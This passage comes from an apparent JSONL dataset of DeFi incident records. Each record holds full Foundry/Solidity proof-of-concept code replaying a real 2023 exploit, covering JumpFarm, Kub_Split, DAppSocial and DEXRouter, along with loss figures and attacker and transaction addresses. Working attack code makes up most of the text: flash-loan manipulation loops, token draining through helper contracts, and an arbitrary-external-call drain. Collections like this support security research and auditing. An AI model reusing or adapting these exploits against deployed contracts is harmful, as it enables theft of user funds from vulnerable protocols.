"", "funds_lost_formatted": "$61.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "0x0DEX Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~$2.4ETH\n// Attacker : https://etherscan.io/address/0x6CE9fa08F139F5e48bc607845E57efE9AA34C9F6\n// Attack Contract : https://etherscan.io/address/0x154863eb71De4a34F88Ea57450840eAB1c71abA6\n// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x6189ad07894507d15c5dff83f547294e72f18561dc5662a8113f7eb932a5b079\n\n// @Analysis\n// https://twitter.com/DecurityHQ/status/1699384904218202618\n\ninterface IStaking {\n function unstake(address _to, uint256 _amount, bool _rebase) external;\n function stake(address _to, uint256 _amount) external;\n}\n\ncontract JumpFarmExploit is Test {\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n IERC20 jump = IERC20(0x39d8BCb39DE75218E3C08200D95fde3a479D7a14);\n IStaking staking = IStaking(0x05999eB831ae28Ca920cE645A5164fbdB1D74Fe9);\n IERC20 sJump = IERC20(0xdd28c9d511a77835505d2fBE0c9779ED39733bdE);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_070_346);\n\n vm.label(address(balancer), \"BalancerVault\");\n vm.label(address(weth), \"WETH\");\n vm.label(address(router), \"UniswapV2 Rounter\");\n vm.label(address(jump), \"jump\");\n vm.label(address(staking), \"staking\");\n }\n\n function testExploit() public {\n address[] memory token = new address[](1);\n token[0] = address(weth);\n uint256[] memory amount = new uint256[](1);\n amount[0] = 15 * 1 ether;\n balancer.flashLoan(address(this), token, amount, hex\"28\");\n\n // weth.withdraw(weth.balanceOf(address(this)));\n emit log_named_decimal_uint(\"eth balance after exploit\", weth.balanceOf(address(this)), 18);\n }\n\n function receiveFlashLoan(\n address[] memory, /*tokens*/\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n weth.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(weth);\n path[1] = address(jump);\n router.swapExactTokensForTokens(amounts[0], 0, path, address(this), block.timestamp);\n jump.approve(address(staking), type(uint256).max);\n sJump.approve(address(staking), type(uint256).max);\n uint8 i = 0;\n while (i < uint8(userData[0])) {\n i += 1;\n uint256 amountJump = jump.balanceOf(address(this));\n staking.stake(address(this), amountJump);\n uint256 amountSJump = sJump.balanceOf(address(this));\n staking.unstake(address(this), amountSJump, true);\n }\n\n jump.approve(address(router), type(uint256).max);\n uint256 amount = jump.balanceOf(address(this));\n emit log_named_decimal_uint(\"jump token balance after exploit\", amount, jump.decimals());\n\n path[0] = address(jump);\n path[1] = address(weth);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n weth.transfer(address(balancer), amounts[0] + feeAmounts[0]);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "JumpFarm", "date": "2023-09", "file_name": "JumpFarm_exp.sol", "attack_vector": "flash_loan", "content_hash": "ae87223516292c08", "collected_at": "2026-01-07T10:59:16.531518", "_source": "postmortems", "chain": "ethereum", "block_number": 18070346, "total_lost_raw": "~$2.4ETH", "total_lost_usd": 2.4, "attacker_address": "https://etherscan.io/address/0x6CE9fa08F139F5e48bc607845E57efE9AA34C9F6", "attack_contract": "https://etherscan.io/address/0x154863eb71De4a34F88Ea57450840eAB1c71abA6", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$2.4ETH", "category": "flash-loan", "exploit_code": "function testExploit() public {\n address[] memory token = new address[](1);\n token[0] = address(weth);\n uint256[] memory amount = new uint256[](1);\n amount[0] = 15 * 1 ether;\n balancer.flashLoan(address(this), token, amount, hex\"28\");\n\n // weth.withdraw(weth.balanceOf(address(this)));\n emit log_named_decimal_uint(\"eth balance after exploit\", weth.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x6CE9fa08F139F5e48bc607845E57efE9AA34C9F6", "keyinfo_attack_contract": "https://etherscan.io/address/0x154863eb71De4a34F88Ea57450840eAB1c71abA6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$2", "content_richness_score": 6.71, "quality_estimate": "medium", "title": "JumpFarm Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~78K USD$\n// Attacker : https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e\n// Attack Contract : https://bscscan.com/address/0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d\n// Vulnerable Contract : https://bscscan.com/address/0xc98e183d2e975f0567115cb13af893f0e3c0d0bd\n// Attack Tx : https://bscscan.com/tx/0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d\n\n// @Analysis\n// https://twitter.com/CertiKAlert/status/1705966214319612092\n\ninterface IStakingRewards {\n function stake(address token, address token1, address token2, address up, uint256 amount) external;\n\n function sell(address token, address token1, uint256 amount) external;\n}\n\ninterface ISplit is IERC20 {\n function setPair(\n address token\n ) external;\n}\n\ncontract ContractTest is Test {\n Uni_Pair_V2 private constant BUSDT_KUB_LP = Uni_Pair_V2(0x39aDFE6ec5a19bb573a2Fd8A5028031C0dc57600);\n Uni_Pair_V2 private constant KUB_Split = Uni_Pair_V2(0x16bF07CC3b84c6C2F97c32a6C66aEB726AbfC570);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 private constant KUB = IERC20(0x808602d91e58f2d58D7C09306044b88234ab4628);\n ISplit private constant Split = ISplit(0xc98E183D2e975F0567115CB13AF893F0E3c0d0bD);\n IERC20 private constant fakeUSDC = IERC20(0xa88D48a4c6D8dD6a166A71CC159A2c588Fa882BB);\n IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Router_V2 private constant PancakeRouter1 = Uni_Router_V2(0xfDE81E1f340C3ec271142723781df9e685653213);\n Uni_Router_V2 private constant PancakeRouter2 = Uni_Router_V2(0x5D82aeA1fE75CB40AfE792dAe1cf76EA8E2808CE);\n IStakingRewards private constant StakingRewards1 = IStakingRewards(0x26Eea9ff2f3caDec4d6Fc4f462F677b58AB31Ab0);\n IStakingRewards private constant StakingRewards2 = IStakingRewards(0x3A006dD44a4a0e43C942f57d452a6a7Ada25AdC3);\n Uni_Pair_V2 private constant BUSDT_Split = Uni_Pair_V2(0xe4D038DE672e226877Db8FA2670C5ba9778155fF);\n address private constant BUSDT_KUB = 0x1E338D9Db6bb78cFd8eE1F756907899C006711AF;\n address private constant upAddressForStake = 0x67Bf514E9e07b2F95C8805f9a035f60512384d1c;\n address private constant exploiter = 0x7Ccf451D3c48C8bb747f42F29A0CdE4209FF863e;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 32_021_100 - 1);\n vm.label(address(BUSDT_KUB_LP), \"BUSDT_KUB_LP\");\n vm.label(address(KUB_Split), \"KUB_Split\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(KUB), \"KUB\");\n vm.label(address(Split), \"Split\");\n vm.label(address(fakeUSDC), \"fakeUSDC\");\n vm.label(address(DPPOracle1), \"DPPOracle1\");\n vm.label(address(DPPOracle2), \"DPPOracle2\");\n vm.label(address(DPPOracle3), \"DPPOracle3\");\n vm.label(address(DPPAdvanced), \"DPPAdvanced\");\n vm.label(address(DPP), \"DPP\");\n vm.label(address(Router), \"Router\");\n vm.label(address(PancakeRouter1), \"PancakeRouter1\");\n vm.label(address(PancakeRouter2), \"PancakeRouter2\");\n vm.label(address(StakingRewards1), \"StakingRewards1\");\n vm.label(address(StakingRewards2), \"StakingRewards2\");\n vm.label(BUSDT_KUB, \"BUSDT_KUB\");\n vm.label(address(BUSDT_Split), \"BUSDT_Split\");\n vm.label(upAddressForStake, \"upAddressForStake\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(fakeUSDC), address(this), 10_000 * 1e18);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker KUB balance before attack\", KUB.balanceOf(address(this)), KUB.decimals());\n\n emit log_named_decimal_uint(\n \"Attacker Split balance before attack\", Split.balanceOf(address(this)), Split.decimals()\n );\n\n BUSDT_KUB_LP.sync();\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker KUB balance after attack\", KUB.balanceOf(address(this)), KUB.decimals());\n\n emit log_named_decimal_uint(\n \"Attacker Split balance after attack\", Split.balanceOf(address(this)), Split.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (abi.decode(data, (uint256)) == uint256(0)) {\n DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1));\n } else if (abi.decode(data, (uint256)) == uint256(1)) {\n DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(2));\n } else if (abi.decode(data, (uint256)) == uint256(2)) {\n DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(3));\n } else if (abi.decode(data, (uint256)) == uint256(3)) {\n DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(4));\n } else {\n BUSDT.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(StakingRewards1), type(uint256).max);\n\n BUSDTToKUB();\n KUB.transfer(address(KUB_Split), KUB.balanceOf(address(this)) - 10);\n KUB_Split.sync();\n\n BUSDTToSplit();\n StakingRewards1.stake(address(KUB), address(BUSDT), address(BUSDT), upAddressForStake, 1000e18);\n\n uint8 i;\n while (i < 30) {\n Split.transfer(address(this), 0);\n ++i;\n }\n\n Split.transfer(address(BUSDT_Split), 0);\n BUSDT_Split.skim(address(this));\n Split.transfer(address(KUB_Split), 0);\n KUB.transfer(address(KUB_Split), 1);\n KUB_Split.skim(address(this));\n Split.transfer(address(KUB_Split), 0);\n KUB_Split.sync();\n for (i = 0; i < 2; ++i) {\n BUSDT_Split.skim(address(this));\n }\n // Amount of Split to send to pair later\n uint256 amountSplit = Split.balanceOf(address(BUSDT_Split)) * 2;\n // Exploit\n // Creating pair with original fake USDC token deployed by attacker before\n address fakeUSDC_Split = IUniswapV2Factory(Router.factory()).createPair(address(fakeUSDC), address(Split));\n // Tx.origin must be exploiter eoa here (because original fake USDC contract is in use and exploiter addr is required to transfer)\n vm.startPrank(address(this), exploiter);\n // Send tokens to newly created token pair - USDC-Split\n fakeUSDC.transfer(fakeUSDC_Split, 1e6);\n Split.transfer(fakeUSDC_Split, amountSplit);\n Uni_Pair_V2(fakeUSDC_Split).sync();\n\n Split.setPair(address(fakeUSDC));\n fakeUSDC.approve(address(Router), type(uint256).max);\n // Swap fakeUSDC => Split => BUSDT\n fakeUSDCToBUSDT();\n vm.stopPrank();\n\n Split.approve(address(StakingRewards2), type(uint256).max);\n KUB.approve(address(StakingRewards1), type(uint256).max);\n\n i = 0;\n while (i < 100) {\n (uint112 reserveKUB, uint112 reserveSplit,) = KUB_Split.getReserves();\n uint256 amountOutKUB = calcAmountOut(KUB_Split, StakingRewards2, reserveKUB, KUB);\n\n uint256 amountInSplit = PancakeRouter2.getAmountIn(amountOutKUB, reserveSplit, reserveKUB);\n\n if (Split.balanceOf(address(this)) <= ((amountInSplit * 2) * 9) / 10) {\n StakingRewards2.sell(address(Split), address(KUB), amountInSplit);\n } else {\n StakingRewards2.sell(address(Split), address(KUB), ((amountInSplit * 2) * 9) / 10);\n }\n ++i;\n }\n\n i = 0;\n while (i < 10) {\n (uint112 reserveBUSDT, uint112 reserveKUB,) = BUSDT_KUB_LP.getReserves();\n uint256 amountOutBUSDT = calcAmountOut(BUSDT_KUB_LP, StakingRewards1, reserveBUSDT, BUSDT);\n uint256 amountInKUB = PancakeRouter1.getAmountIn(amountOutBUSDT, reserveKUB, reserveBUSDT);\n\n StakingRewards1.sell(address(KUB), address(BUSDT), amountInKUB);\n\n ++i;\n }\n }\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n function BUSDTToKUB() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(KUB);\n Router.swapExactTokensForTokens(BUSDT.balanceOf(BUSDT_KUB) * 2, 0, path, address(this), block.timestamp + 1000);\n }\n\n function BUSDTToSplit() internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(Split);\n Router.swapExactTokensForTokens(\n BUSDT.balanceOf(address(BUSDT_Split)) * 2, 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function fakeUSDCToBUSDT() internal {\n address[] memory path = new address[](3);\n path[0] = address(fakeUSDC);\n path[1] = address(Split);\n path[2] = address(BUSDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n fakeUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function calcAmountOut(\n Uni_Pair_V2 pool,\n IStakingRewards stakingRewards,\n uint112 reserve,\n IERC20 token\n ) internal view returns (uint256) {\n uint256 a = pool.totalSupply() * 1000;\n uint256 b = pool.balanceOf(address(stakingRewards)) * 7;\n uint256 c = (b * reserve) / a;\n return (token.balanceOf(address(stakingRewards)) + c);\n }\n}\n", "type": "exploit_poc", "protocol": "Kub_Split", "date": "2023-09", "file_name": "Kub_Split_exp.sol", "attack_vector": "flash_loan", "content_hash": "14c4f3f723bbbcb2", "collected_at": "2026-01-07T10:59:16.531570", "_source": "postmortems", "chain": "bsc", "block_number": 32021100, "total_lost_raw": "~78K USD$", "total_lost_usd": 78000.0, "attacker_address": "https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e", "attack_contract": "https://bscscan.com/address/0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d", "vulnerable_contract": "https://bscscan.com/address/0xc98e183d2e975f0567115cb13af893f0e3c0d0bd", "attack_tx": "https://bscscan.com/tx/0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~78K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(fakeUSDC), address(this), 10_000 * 1e18);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker KUB balance before attack\", KUB.balanceOf(address(this)), KUB.decimals());\n\n emit log_named_decimal_uint(\n \"Attacker Split balance before attack\", Split.balanceOf(address(this)), Split.decimals()\n );\n\n BUSDT_KUB_LP.sync();\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n emit log_named_decimal_uint(\"Attacker KUB balance after attack\", KUB.balanceOf(address(this)), KUB.decimals());\n\n emit log_named_decimal_uint(\n \"Attacker Split balance after attack\", Split.balanceOf(address(this)), Split.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~78K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x7ccf451d3c48c8bb747f42f29a0cde4209ff863e", "keyinfo_attack_contract": "https://bscscan.com/address/0xa7fe9c5d4b87b0d03e9bb99f4b4e76785de26b5d", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc98e183d2e975f0567115cb13af893f0e3c0d0bd", "keyinfo_attack_tx": "https://bscscan.com/tx/0x2b0877b5495065e90d956e44ffde6aaee5e0fcf99dd3c86f5ff53e33774ea52d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$78.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Kub_Split Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$16K\n// Attacker : https://etherscan.io/address/0x7d9bc45a9abda926a7ce63f78759dbfa9ed72e26\n// Attack Contract : https://etherscan.io/address/0xe897c0f9443785f8d4f0fa6e92a81066b3fbfee2\n// Helper Attack Contract : https://etherscan.io/address/0xa8c6e7352b13815f6bfa87c7ffaaa6e3a7bfa849\n// Vulnerable Contract : https://etherscan.io/address/0x319ec3ad98cf8b12a8be5719fec6e0a9bb1ad0d1\n// Attack Tx : https://etherscan.io/tx/0xbd72bccec6dd824f8cac5d9a3a2364794c9272d7f7348d074b580e3c6e44312e\n\n// @Analysis\n// https://twitter.com/DecurityHQ/status/1698064511230464310\n\ninterface IDAppSocial {\n function depositTokens(address tokenContract, uint256 amount) external;\n\n function lockTokens(address altAccount, uint48 length) external;\n\n function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external;\n\n function withdrawTokensWithAlt(address tokenAddress, address from, uint256 amount) external;\n}\n\ncontract DAppTest is Test {\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1);\n HelperExploitContract private helperExploitContract;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_048_982);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(DAppSocial), \"DAppSocial\");\n }\n\n function testExploit() public {\n deal(address(USDT), address(this), 5e6);\n deal(address(USDC), address(this), 5e6);\n helperExploitContract = new HelperExploitContract();\n USDT.approve(address(DAppSocial), 2e6);\n USDC.approve(address(DAppSocial), 2e6);\n\n emit log_named_decimal_uint(\"Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n drainToken(address(USDT));\n drainToken(address(USDC));\n\n // Destroy (selfdestruct) helper exploit contract after draining the tokens\n helperExploitContract.killMe();\n\n emit log_named_decimal_uint(\"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function drainToken(\n address token\n ) internal {\n DAppSocial.depositTokens(token, 2e6);\n helperExploitContract.exploit(token, false);\n DAppSocial.withdrawTokensWithAlt(token, address(helperExploitContract), 1e6);\n helperExploitContract.exploit(token, true);\n }\n\n receive() external payable {}\n}\n\ncontract HelperExploitContract {\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IDAppSocial private constant DAppSocial = IDAppSocial(0x319Ec3AD98CF8b12a8BE5719FeC6E0a9bb1ad0D1);\n address payable private immutable owner;\n\n constructor() {\n owner = payable(msg.sender);\n }\n\n // 0x42c59677 exploit function\n function exploit(address token, bool withdraw) external {\n require(msg.sender == owner, \"Only owner\");\n if (withdraw == true) {\n if (token == address(USDT)) {\n DAppSocial.withdrawTokens(address(token), USDT.balanceOf(address(DAppSocial)));\n USDT.transfer(owner, USDT.balanceOf(address(this)));\n } else {\n DAppSocial.withdrawTokens(address(token), USDC.balanceOf(address(DAppSocial)));\n USDC.transfer(owner, USDC.balanceOf(address(this)));\n }\n } else {\n DAppSocial.lockTokens(owner, 0);\n }\n }\n\n function killMe() external {\n require(msg.sender == owner, \"Only owner\");\n selfdestruct(owner);\n }\n}\n", "type": "exploit_poc", "protocol": "DAppSocial", "date": "2023-09", "file_name": "DAppSocial_exp.sol", "attack_vector": null, "content_hash": "37b936e6a043cb5f", "collected_at": "2026-01-07T10:59:16.531651", "_source": "postmortems", "chain": "ethereum", "block_number": 18048982, "total_lost_raw": "~$16K", "total_lost_usd": 16000.0, "attacker_address": "https://etherscan.io/address/0x7d9bc45a9abda926a7ce63f78759dbfa9ed72e26", "attack_contract": "https://etherscan.io/address/0xe897c0f9443785f8d4f0fa6e92a81066b3fbfee2", "vulnerable_contract": "https://etherscan.io/address/0x319ec3ad98cf8b12a8be5719fec6e0a9bb1ad0d1", "attack_tx": "https://etherscan.io/tx/0xbd72bccec6dd824f8cac5d9a3a2364794c9272d7f7348d074b580e3c6e44312e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$16K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(USDT), address(this), 5e6);\n deal(address(USDC), address(this), 5e6);\n helperExploitContract = new HelperExploitContract();\n USDT.approve(address(DAppSocial), 2e6);\n USDC.approve(address(DAppSocial), 2e6);\n\n emit log_named_decimal_uint(\"Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n\n drainToken(address(USDT));\n drainToken(address(USDC));\n\n // Destroy (selfdestruct) helper exploit contract after draining the tokens\n helperExploitContract.killMe();\n\n emit log_named_decimal_uint(\"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$16K", "keyinfo_attacker": "https://etherscan.io/address/0x7d9bc45a9abda926a7ce63f78759dbfa9ed72e26", "keyinfo_attack_contract": "https://etherscan.io/address/0xe897c0f9443785f8d4f0fa6e92a81066b3fbfee2", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x319ec3ad98cf8b12a8be5719fec6e0a9bb1ad0d1", "keyinfo_attack_tx": "https://etherscan.io/tx/0xbd72bccec6dd824f8cac5d9a3a2364794c9272d7f7348d074b580e3c6e44312e", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$16.0K", "content_richness_score": 8.11, "quality_estimate": "high", "title": "DAppSocial Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~4K USD$\n// Attacker : https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8\n// Attack Contract : https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f\n// Victim Contract : https://bscscan.com/address/0x1f7cf218b46e613d1ba54cac11dc1b5368d94fb7\n// Attack Tx : https://bscscan.com/tx/0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc2113\n\n// @Analysis\n// https://twitter.com/DecurityHQ/status/1707851321909428688\n\ninterface IDEXRouter {\n function update(address fcb, address bnb, address busd, address router) external;\n\n function functionCallWithValue(address target, bytes memory data, uint256 value) external;\n}\n\ncontract ContractTest is Test {\n // Victim unverified contract. Name \"DEXRouter\" taken from parameter name in \"go\" function in attack contract\n IDEXRouter private constant DEXRouter = IDEXRouter(0x1f7cF218B46e613D1BA54CaC11dC1b5368d94fb7);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 32_161_325);\n vm.label(address(DEXRouter), \"DEXRouter\");\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n emit log_named_decimal_uint(\"Attacker BNB balance before exploit\", address(this).balance, 18);\n // DEXRouter will call back to function with selector \"0xe44a73b7\". Look at fallback function\n DEXRouter.update(address(this), address(this), address(this), address(this));\n\n // Arbitrary external call vulnerability here. DEXRouter will call back \"a\" payable function and next transfer BNB to this contract\n DEXRouter.functionCallWithValue(address(this), abi.encodePacked(this.a.selector), address(DEXRouter).balance);\n\n emit log_named_decimal_uint(\"Attacker BNB balance after exploit\", address(this).balance, 18);\n }\n\n function a() external payable returns (bool) {\n return true;\n }\n\n fallback(\n bytes calldata data\n ) external payable returns (bytes memory) {\n if (bytes4(data) == bytes4(0xe44a73b7)) {\n return abi.encode(true);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "DEXRouter", "date": "2023-09", "file_name": "DEXRouter_exp.sol", "attack_vector": null, "content_hash": "5ab908f0cf524f36", "collected_at": "2026-01-07T10:59:16.531702", "_source": "postmortems", "chain": "bsc", "block_number": 32161325, "total_lost_raw": "~4K USD$", "total_lost_usd": 4000.0, "attacker_address": "https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8", "attack_contract": "https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc2113", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~4K USD$", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n emit log_named_decimal_uint(\"Attacker BNB balance before exploit\", address(this).balance, 18);\n // DEXRouter will call back to function with selector \"0xe44a73b7\". Look at fallback function\n DEXRouter.update(address(this), address(this), address(this), address(this));\n\n // Arbitrary external call vulnerability here. DEXRouter will call back \"a\" payable function and next transfer BNB to this contract\n DEXRouter.functionCallWithValue(address(this), abi.encodePacked(this.a.selector), address(DEXRouter).balance);\n\n emit log_named_decimal_uint(\"Attacker BNB balance after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~4K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x09039e2082a0a815908e68bd52b86f96573768e8", "keyinfo_attack_contract": "https://bscscan.com/address/0x0f41f9146de354e5ac6bb3996e2e319dc8a3bb7f", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xf77c5904da98d3d4a6e651d0846d35545ef5ca0b969132ae81a9c63e1efc2113", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4.0K", "content_richness_score": 6.11, "quality_estimate": "medium", "title": "DEXRouter Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~8536 MATIC (This tx exploit 3211 MATIC)\n// Attacker : https://polygonscan.com/address/0x8e83cd1bad00cf933b86214aaaab4db56abf68aa\n// Attack Contract : https://polygonscan.com/address/0x22b1a115b16395e5ebd50f4f82aef3a159e1c6d1\n// Vulnerable Contract : https://polygonscan.com/address/0x5e9cd0861f927adeccfeb2c0124879b277dd66ac\n// Attack Tx : https://polygonscan.com/tx/0x96d80c609f7a39b45f2bb581c6ba23402c20c2b6cd528317692c31b8d3948328\n\ninterface IFireBirdRouter {\n function swapExactTokensForTokens(\n address tokenIn,\n address tokenOut,\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n uint8[] memory dexIds,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}\n\ninterface IFirebirdReserveFund {\n function collectFeeFromProtocol() external;\n function sellTokensToUsdc() external;\n}\n\ninterface IFireBirdPair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n}\n\ninterface IHOPE is IERC20 {\n function transferFrom(address holder, address 